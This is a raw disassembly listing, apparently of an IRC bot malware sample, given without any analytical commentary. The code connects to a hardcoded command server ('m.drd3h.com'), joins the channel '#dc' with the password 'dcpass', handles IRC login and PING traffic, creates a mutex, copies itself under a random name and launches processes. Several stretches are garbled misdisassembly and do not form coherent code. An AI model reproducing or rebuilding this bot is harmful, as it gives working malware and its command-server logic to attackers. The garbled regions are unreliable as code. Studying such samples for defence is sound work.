		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_41099A
		add	esp, 18h
		pop	ebx
		jmp	short loc_40851D
; ---------------------------------------------------------------------------


loc_4084EE:				; CODE XREF: sub_408416+2Cj
					; sub_408416+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_4104AF
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_4104AF
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_4104AF
		add	esp, 18h


loc_40851D:				; CODE XREF: sub_408416+D6j
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_408416	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408531	proc near		; CODE XREF: sub_408603+17p
					; sub_408603+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_408416
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_4117C0
		add	esp, 10h
		test	eax, eax
		jnz	short loc_4085A4
		push	ebx
		push	ebx
		call	sub_408385
		pop	ecx
		push	eax
		push	offset dword_422428
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41099A
		add	esp, 14h
		jmp	short loc_4085D8
; ---------------------------------------------------------------------------


loc_4085A4:				; CODE XREF: sub_408531+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_408385
		pop	ecx
		push	eax
		push	offset dword_4223D8
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41099A
		add	esp, 20h


loc_4085D8:				; CODE XREF: sub_408531+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40DFB2
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_407AB1
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_408531	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408603	proc near		; CODE XREF: seg000:0040D5A8p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_408624
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408531
		add	esp, 10h
		jmp	short loc_408685
; ---------------------------------------------------------------------------


loc_408624:				; CODE XREF: sub_408603+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	ds:dword_42F988
		lea	esi, [eax+2]
		push	esi
		call	sub_410AEB
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	ds:dword_42F988
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_40867C


loc_408648:				; CODE XREF: sub_408603+77j
		push	offset aA_0	; "A:\\"
		push	esi
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40866B
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408531
		add	esp, 10h


loc_40866B:				; CODE XREF: sub_408603+54j
		push	esi
		call	sub_410A70
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_408648


loc_40867C:				; CODE XREF: sub_408603+43j
		push	edi
		call	sub_410B5F
		pop	ecx
		pop	edi
		pop	esi


loc_408685:				; CODE XREF: sub_408603+1Fj
		pop	ebx
		pop	ebp
		retn
sub_408603	endp

; ---------------------------------------------------------------------------


loc_408688:				; DATA XREF: seg000:00408781o
		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	ds:dword_434BB4
		call	ds:dword_42FAB0
		call	sub_410124
		call	ds:dword_42F978
		call	ds:dword_42F978
		mov	ebx, ds:dword_41C050
		push	64h
		call	ebx ; dword_41C050
		xor	edi, edi
		push	10h
		lea	eax, [ebp-10h]
		push	edi
		push	eax
		call	sub_410870
		push	44h
		lea	eax, [ebp-54h]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_410870
		add	esp, 18h
		mov	[ebp-54h], esi
		mov	esi, 104h
		lea	eax, [ebp-25Ch]
		push	esi
		push	eax
		mov	dword ptr [ebp-48h], offset byte_42E658
		mov	dword ptr [ebp-28h], 1
		mov	[ebp-24h], di
		call	near ptr 0A70000h
		sahf
		lea	eax, [ebp-158h]
		push	esi
		push	eax
		push	edi
		call	near ptr 0A70000h
		push	50F0458Dh
		lea	eax, [ebp-54h]
		push	eax
		lea	eax, [ebp-25Ch]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp-158h]
		push	edi
		push	eax
		push	edi
		call	near ptr 0A70000h
		jnz	near ptr 6A54FBFAh
		db	64h
		call	ebx ; dword_41C050
		push	dword ptr [ebp-10h]
		mov	esi, ds:dword_41C068
		call	esi ; dword_41C068
		push	dword ptr [ebp-0Ch]
		call	esi ; dword_41C068
		mov	eax, [ebp+10h]
		mov	dword ptr [eax+0B0h], offset dword_433E20
		mov	eax, [esp]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		call	ds:dword_41C104	; ExitProcess
		pop	edi
		pop	esi
		pop	ebx
		push	ebp
		mov	ebp, esp
		sub	esp, 988h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp-0Ch], ebx
		mov	dword ptr [ebp-8], offset loc_408688
		push	dword ptr [ebp-8]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		cmp	ds:dword_422490, ebx
		jz	short loc_4087A6
		call	sub_406B0B


loc_4087A6:				; CODE XREF: seg000:0040879Fj
		mov	esi, ds:dword_41C04C
		call	esi ; dword_41C04C
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ds:dword_45DE98, eax
		call	esi ; dword_41C04C
		push	eax
		call	sub_410845
		pop	ecx
		call	sub_405560
		push	2
		call	ds:dword_42FAC4
		push	7530h
		push	offset aIdxbqw	; "idxbqw"
		push	ebx
		push	ebx
		call	near ptr 0A70000h
		push	esi
		push	eax
		call	near ptr 0A70000h
		cmp	large dword ptr	ds:102h, 75h
		or	[edx+1], ch
		call	ds:dword_41C104	; ExitProcess
		lea	eax, [ebp-884h]
		push	eax
		push	202h
		call	ds:dword_42F990
		cmp	eax, ebx
		mov	[ebp-8], eax
		jnz	loc_408C5A
		cmp	byte ptr [ebp-884h], 2
		jnz	loc_408C54
		xor	eax, eax
		mov	al, [ebp-883h]
		cmp	al, 2
		jnz	loc_408C54
		mov	esi, 104h
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		call	near ptr 0A70000h
		into
		lea	eax, [ebp-2ECh]
		push	esi
		push	eax
		push	ebx
		call	near ptr 0A70000h
		cmp	[eax-18h], dl
		movsb
		ja	short near ptr loc_4088BD+4
		add	[esi], bh
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	ebx
		lea	eax, [ebp-2ECh]
		push	ebx
		push	eax
		call	sub_412178
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	offset aSS_2	; "%s%s"
		lea	eax, [ebp-5F4h]
		push	esi
		push	eax
		call	sub_41099A
		lea	eax, [ebp-3F0h]
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		call	sub_4109F0
		add	esp, 30h
		test	eax, eax
		jnz	loc_408A5D
		cmp	ds:dword_45E008, ebx


loc_4088BD:				; CODE XREF: seg000:00408859j
		mov	esi, offset byte_4224F4
		jz	short loc_4088F5
		push	esi
		xor	edi, edi
		call	sub_410A70
		sub	eax, 4
		pop	ecx
		jz	short loc_4088F5


loc_4088D2:				; CODE XREF: seg000:004088F3j
		call	sub_41084F
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	ds:byte_4224F4[edi], dl
		inc	edi
		call	sub_410A70
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_4088D2


loc_4088F5:				; CODE XREF: seg000:004088C2j
					; seg000:004088D0j
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		lea	eax, [ebp-1E8h]
		push	offset dword_429498
		push	eax
		call	sub_4104AF
		add	esp, 10h
		lea	eax, [ebp-1E8h]
		push	eax
		call	ds:dword_41C074	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_408935
		lea	eax, [ebp-1E8h]
		push	80h
		push	eax
		call	near ptr 0A70000h
		inc	ebp


loc_408935:				; CODE XREF: seg000:00408921j
		mov	esi, ds:dword_41C114
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		xor	edi, edi
		push	eax


loc_40894C:				; CODE XREF: seg000:00408983j
		call	esi ; dword_41C114
		test	eax, eax
		jnz	short loc_408985
		call	ds:dword_41C060	; RtlGetLastWin32Error
		cmp	edi, ebx
		jnz	short loc_408985
		cmp	eax, 20h
		jz	short loc_408966
		cmp	eax, 5
		jnz	short loc_408985


loc_408966:				; CODE XREF: seg000:0040895Fj
		push	1
		pop	edi
		push	3A98h
		call	ds:dword_41C050	; Sleep
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		jmp	short loc_40894C
; ---------------------------------------------------------------------------


loc_408985:				; CODE XREF: seg000:00408950j
					; seg000:0040895Aj ...
		lea	eax, [ebp-1E8h]
		push	eax
		call	sub_4068BD
		pop	ecx
		lea	eax, [ebp-1E8h]
		push	7
		push	eax
		call	near ptr 0A70000h
		cmc
		push	10h
		lea	eax, [ebp-1Ch]
		push	ebx
		push	eax
		call	sub_410870
		push	44h
		lea	eax, [ebp-64h]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_410870
		add	esp, 18h
		mov	[ebp-64h], esi
		mov	dword ptr [ebp-58h], offset byte_42E658
		mov	[ebp-34h], bx
		push	1
		pop	esi
		mov	[ebp-38h], esi
		call	near ptr 0A70000h
		mov	esi, 685650h
		add	[eax], dl
		add	al, ch
		sbb	al, 76h
		db	66h
		add	[ebp-2EB7273h],	dh
; ---------------------------------------------------------------------------
		db 2 dup(0FFh),	51h
		dd 18858D50h, 50FFFFFEh, 0F678858Dh, 8C68FFFFh,	50004294h
		dd 7AAAE8h, 14C48300h, 50E4458Dh, 509C458Dh, 0FC10858Dh
		dd 5350FFFFh, 5356286Ah, 0F678858Dh, 5053FFFFh,	0FE18858Dh
		dd 0E850FFFFh, 6675D0h,	74C08545h, 0C86828h, 15FF0000h
		dd 41C050h, 8BE475FFh, 41C06835h, 0FFD6FF00h, 0D6FFE875h
		dd 0F97815FFh, 0FF530042h, 41C10415h
		db 0
; ---------------------------------------------------------------------------


loc_408A5D:				; CODE XREF: seg000:004088B1j
		cmp	ds:dword_45EB30, 2
		jle	short near ptr loc_408AA8+1
		mov	eax, ds:dword_45EB34
		push	dword ptr [eax+4]
		call	sub_41098F
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		call	near ptr 0A70000h
		push	ss
		push	esi
		call	ds:dword_41C068	; CloseHandle
		mov	eax, ds:dword_45EB34
		cmp	[eax+8], ebx
		jz	short near ptr loc_408AA8+1
		push	7D0h
		call	ds:dword_41C050	; Sleep
		mov	eax, ds:dword_45EB34
		push	dword ptr [eax+8]
		call	near ptr 0A70000h


loc_408AA8:				; CODE XREF: seg000:00408A64j
					; seg000:00408A8Ej
		xor	[ecx], bh
		sbb	eax, offset dword_422498
		jz	short loc_408AC6
		cmp	ds:dword_42FAE8, ebx
		jnz	short loc_408AC6
		lea	eax, [ebp-5F4h]
		push	eax
		call	sub_407CC0
		pop	ecx


loc_408AC6:				; CODE XREF: seg000:00408AAFj
					; seg000:00408AB7j
		lea	eax, [ebp-0E4h]
		push	offset dword_429460
		push	eax
		call	sub_4104AF
		push	ebx
		lea	eax, [ebp-0E4h]
		push	ebx
		push	eax
		call	sub_40FF5B
		lea	eax, [ebp-0E4h]
		push	eax
		call	sub_407AB1
		push	0B80h
		push	ebx
		push	offset dword_433E28
		call	sub_410870
		call	sub_41084F
		push	7Fh
		push	offset aM_drd3h_com ; "m.drd3h.com"
		push	offset dword_45DEA4
		mov	ds:dword_45E01C, ebx
		call	sub_411C90
		mov	eax, ds:dword_42247C
		push	3Fh
		mov	edi, offset dword_45DF24
		push	offset aDc	; "#dc"
		push	edi
		mov	ds:dword_45DFF4, eax
		call	sub_411C90
		push	3Fh
		mov	esi, offset dword_45DF64
		push	offset aDcpass	; "dcpass"
		push	esi
		call	sub_411C90
		add	esp, 48h
		mov	ds:dword_45DFF8, ebx


loc_408B54:				; CODE XREF: seg000:00408BFAj
					; seg000:00408C05j ...
		mov	[ebp-4], ebx


loc_408B57:				; CODE XREF: seg000:00408BAEj
		cmp	ds:dword_42FB00, ebx
		jnz	short loc_408B75
		lea	eax, [ebp-20h]
		push	ebx
		push	eax
		call	ds:dword_42F95C
		test	eax, eax
		jnz	short loc_408B75
		push	7530h
		jmp	short loc_408BA1
; ---------------------------------------------------------------------------


loc_408B75:				; CODE XREF: seg000:00408B5Dj
					; seg000:00408B6Cj
		push	offset dword_45DEA0
		mov	ds:dword_45E018, ebx
		call	sub_408C63
		cmp	eax, 2
		mov	[ebp-8], eax
		jz	loc_408C4F
		cmp	ds:dword_45E018, ebx
		jz	short loc_408B9C
		dec	dword ptr [ebp-4]


loc_408B9C:				; CODE XREF: seg000:00408B97j
		push	0BB8h


loc_408BA1:				; CODE XREF: seg000:00408B73j
		call	ds:dword_41C050	; Sleep
		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-4], 6
		jl	short loc_408B57
		cmp	dword ptr [ebp-8], 2
		jz	loc_408C4F
		cmp	[ebp-0Ch], ebx
		jz	short loc_408BFF
		push	7Fh
		push	offset aM_drd3h_com ; "m.drd3h.com"
		push	offset dword_45DEA4
		call	sub_411C90
		mov	eax, ds:dword_42247C
		push	3Fh
		push	offset aDc	; "#dc"
		push	edi
		mov	ds:dword_45DFF4, eax
		call	sub_411C90
		push	3Fh
		push	offset aDcpass	; "dcpass"
		push	esi
		call	sub_411C90
		add	esp, 24h
		mov	[ebp-0Ch], ebx
		jmp	loc_408B54
; ---------------------------------------------------------------------------


loc_408BFF:				; CODE XREF: seg000:00408BBDj
		cmp	ds:byte_4224DC,	bl
		jz	loc_408B54
		push	7Fh
		push	offset byte_4224DC
		push	offset dword_45DEA4
		call	sub_411C90
		mov	eax, ds:dword_422480
		push	3Fh
		push	offset dword_4224E8
		push	edi
		mov	ds:dword_45DFF4, eax
		call	sub_411C90
		push	3Fh
		push	offset aDcpass_0 ; "dcpass"
		push	esi
		call	sub_411C90
		add	esp, 24h
		mov	dword ptr [ebp-0Ch], 1
		jmp	loc_408B54
; ---------------------------------------------------------------------------


loc_408C4F:				; CODE XREF: seg000:00408B8Bj
					; seg000:00408BB4j
		call	sub_410124


loc_408C54:				; CODE XREF: seg000:0040881Ej
					; seg000:0040882Ej
		call	ds:dword_42F978


loc_408C5A:				; CODE XREF: seg000:00408811j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408C63	proc near		; CODE XREF: seg000:00408B80p
					; DATA XREF: seg000:0040C0A2o

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1


loc_408C88:				; CODE XREF: sub_408C63+E6j
					; sub_408C63+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_410870
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	ds:dword_42FA18
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_406BC9
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_408DB5
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_410870
		push	0
		lea	eax, [ebp+var_2C]
		push	ds:dword_45E00C
		push	ds:dword_4224A4
		push	eax
		call	sub_40F699
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_434BC0
		push	edi
		push	eax
		call	sub_411C90
		add	esp, 28h
		push	6
		push	1
		push	2
		call	ds:dword_42FA98
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	ds:dword_434BB4[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	ds:dword_42F9C0
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_408D4E
		push	esi
		call	ds:dword_42FAB0
		call	sub_406BF2
		push	7D0h


loc_408D43:				; CODE XREF: sub_408C63+146j
		call	ds:dword_41C050	; Sleep
		jmp	loc_408C88
; ---------------------------------------------------------------------------


loc_408D4E:				; CODE XREF: sub_408C63+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset dword_4294A0
		call	sub_407B25
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_408DCB
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	ds:dword_42FAB0
		test	edi, edi
		jz	loc_408C88
		cmp	edi, 1
		jnz	short loc_408DAB
		push	0DBBA0h
		jmp	short loc_408D43
; ---------------------------------------------------------------------------


loc_408DAB:				; CODE XREF: sub_408C63+13Fj
		cmp	edi, 2
		jz	short loc_408DB9
		jmp	loc_408C88
; ---------------------------------------------------------------------------


loc_408DB5:				; CODE XREF: sub_408C63+5Aj
		xor	eax, eax
		jmp	short loc_408DC5
; ---------------------------------------------------------------------------


loc_408DB9:				; CODE XREF: sub_408C63+14Bj
		push	[ebp+var_34]
		call	sub_410277
		pop	ecx
		push	2
		pop	eax


loc_408DC5:				; CODE XREF: sub_408C63+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_408C63	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408DCB	proc near		; CODE XREF: sub_408C63+123p

var_1A10	= byte ptr -1A10h
var_A10		= byte ptr -0A10h
var_240		= byte ptr -240h
var_1A0		= byte ptr -1A0h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A10h
		call	sub_411C60
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	2
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_1A0]
		pop	ecx


loc_408DE9:				; CODE XREF: sub_408DCB+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_408DE9
		cmp	ds:byte_45E010,	bl
		jz	short loc_408E10
		push	offset byte_45E010
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_40DF6C
		add	esp, 0Ch


loc_408E10:				; CODE XREF: sub_408DCB+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_40F699
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_4104AF
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_410A70
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_42FA68
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_408E7A
		push	[ebp+arg_0]
		call	ds:dword_42FAB0
		push	1388h
		call	ds:dword_41C050	; Sleep


loc_408E73:				; CODE XREF: sub_408DCB+D9j
					; sub_408DCB+153j
		xor	eax, eax


loc_408E75:				; CODE XREF: sub_408DCB+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_408E7A:				; CODE XREF: sub_408DCB+92j
					; sub_408DCB+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A10]
		push	esi
		push	ebx
		push	eax
		call	sub_410870
		add	esp, 0Ch
		lea	eax, [ebp+var_1A10]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_42FA30
		test	eax, eax
		jle	short loc_408E73
		lea	eax, [ebp+var_A10]
		push	eax
		lea	eax, [ebp+var_1A10]
		push	eax
		call	sub_4065A9
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_408E7A
		lea	edi, [ebp+var_A10]


loc_408ECB:				; CODE XREF: sub_408DCB+165j
		push	1
		pop	esi


loc_408ECE:				; CODE XREF: sub_408DCB+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_240]
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	loc_408F43
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_408F11
		push	7D0h
		call	ds:dword_41C050	; Sleep
		jmp	short loc_408ECE
; ---------------------------------------------------------------------------


loc_408F11:				; CODE XREF: sub_408DCB+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_408F3B
		cmp	esi, 0FFFFFFFEh
		jz	short loc_408F37
		cmp	esi, 0FFFFFFFFh
		jz	loc_408E73
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_408ECB
		jmp	loc_408E7A
; ---------------------------------------------------------------------------


loc_408F37:				; CODE XREF: sub_408DCB+14Ej
		push	1
		jmp	short loc_408F3D
; ---------------------------------------------------------------------------


loc_408F3B:				; CODE XREF: sub_408DCB+149j
		push	2


loc_408F3D:				; CODE XREF: sub_408DCB+16Ej
		pop	eax
		jmp	loc_408E75
sub_408DCB	endp

; ---------------------------------------------------------------------------


loc_408F43:				; CODE XREF: sub_408DCB+12Ap
		push	ebp
		mov	ebp, esp
		mov	eax, 159Ch
		call	sub_411C60
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp-2E4h]
		push	ebx
		push	eax
		mov	dword ptr [ebp-0ACh], 3
		mov	[ebp-10h], ebx
		mov	[ebp-0A8h], ebx
		mov	[ebp-8], ebx
		mov	[ebp-4], ebx
		mov	[ebp-0C8h], ebx
		call	sub_410870
		push	1Bh
		lea	eax, [ebp-564h]
		push	dword ptr [ebp+18h]
		push	eax
		call	sub_411C90
		add	esp, 18h
		cmp	[ebp+8], ebx
		jz	loc_4093BE
		push	esi
		lea	eax, [ebp-0F9Ch]
		push	ebx
		push	eax
		call	sub_410870
		dec	esi
		lea	eax, [ebp-0F9Ch]
		push	esi
		push	dword ptr [ebp+8]
		push	eax
		call	sub_411C90
		lea	eax, [ebp-0F9Ch]
		push	offset asc_42C02C ; " :"
		push	eax
		call	sub_4109F0
		mov	[ebp-0Ch], eax
		lea	eax, [ebp-0F9Ch]
		push	esi
		push	eax
		lea	eax, [ebp-119Ch]
		push	eax
		call	sub_411C90
		mov	esi, offset asc_41E954 ; " "
		lea	eax, [ebp-119Ch]
		push	esi
		push	eax
		call	sub_411BC0
		add	esp, 34h
		mov	[ebp-94h], eax
		lea	edi, [ebp-90h]
		mov	dword ptr [ebp-0A4h], 1Fh


loc_409016:				; CODE XREF: seg000:0040902Aj
		push	esi
		push	ebx
		call	sub_411BC0
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	dword ptr [ebp-0A4h]
		pop	ecx
		jnz	short loc_409016
		mov	esi, [ebp-94h]
		cmp	esi, ebx
		jz	loc_4093BE
		cmp	[ebp-90h], ebx
		jz	loc_4093BE
		push	100h
		lea	eax, [ebp-0A14h]
		push	ebx
		push	eax
		call	sub_410870
		add	esp, 0Ch
		lea	ecx, [ebp-18h]
		push	1Fh
		pop	edx
		push	1
		pop	edi


loc_409064:				; CODE XREF: seg000:00409096j
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_409090
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_409098
		cmp	[eax+2], bl
		jnz	short loc_409098
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	byte ptr [ebp+esi-0A14h], 1
		mov	esi, [ebp-94h]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl


loc_409090:				; CODE XREF: seg000:00409068j
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_409064


loc_409098:				; CODE XREF: seg000:0040906Dj
					; seg000:00409072j
		cmp	[ebp-9A1h], bl
		jz	short loc_4090A3
		mov	[ebp-8], edi


loc_4090A3:				; CODE XREF: seg000:0040909Ej
		cmp	[ebp-9A6h], bl
		jz	short loc_4090B1
		mov	[ebp-8], ebx
		mov	[ebp-4], edi


loc_4090B1:				; CODE XREF: seg000:004090A9j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_4090EB
		push	7Fh
		lea	eax, [ebp-0A94h]
		push	esi
		push	eax
		call	sub_411C90
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp-0C4h]
		push	eax
		call	sub_411C90
		lea	eax, [ebp-0C4h]
		push	offset dword_4256E4
		push	eax
		call	sub_411BC0
		add	esp, 20h


loc_4090EB:				; CODE XREF: seg000:004090B4j
		push	esi
		push	offset aPing	; "PING"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40913C
		push	dword ptr [ebp-90h]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40DF6C
		mov	eax, [ebp+28h]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_4091E0
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40DF6C
		add	esp, 10h
		jmp	loc_4091E0
; ---------------------------------------------------------------------------


loc_40913C:				; CODE XREF: seg000:004090FAj
		mov	esi, [ebp-90h]
		push	esi
		push	offset a001	; "001"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DF26
		push	esi
		push	offset a005	; "005"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DF26
		push	esi
		push	offset a302	; "302"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4091A7
		push	offset a@_6	; "@"
		push	dword ptr [ebp-88h]
		call	sub_4109F0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4091E0
		inc	eax
		push	9Fh
		push	eax
		push	dword ptr [ebp+24h]
		call	sub_411C90
		add	esp, 0Ch
		jmp	short loc_4091E0
; ---------------------------------------------------------------------------


loc_4091A7:				; CODE XREF: seg000:0040917Bj
		push	esi
		push	offset a433	; "433"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4091E7
		push	ebx
		push	ds:dword_45E00C
		push	ds:dword_4224A4
		push	dword ptr [ebp+18h]
		call	sub_40F699
		push	dword ptr [ebp+18h]
		push	offset aNickS	; "NICK	%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40DF6C
		add	esp, 1Ch


loc_4091E0:				; CODE XREF: seg000:0040911Bj
					; seg000:00409137j ...
		mov	eax, edi
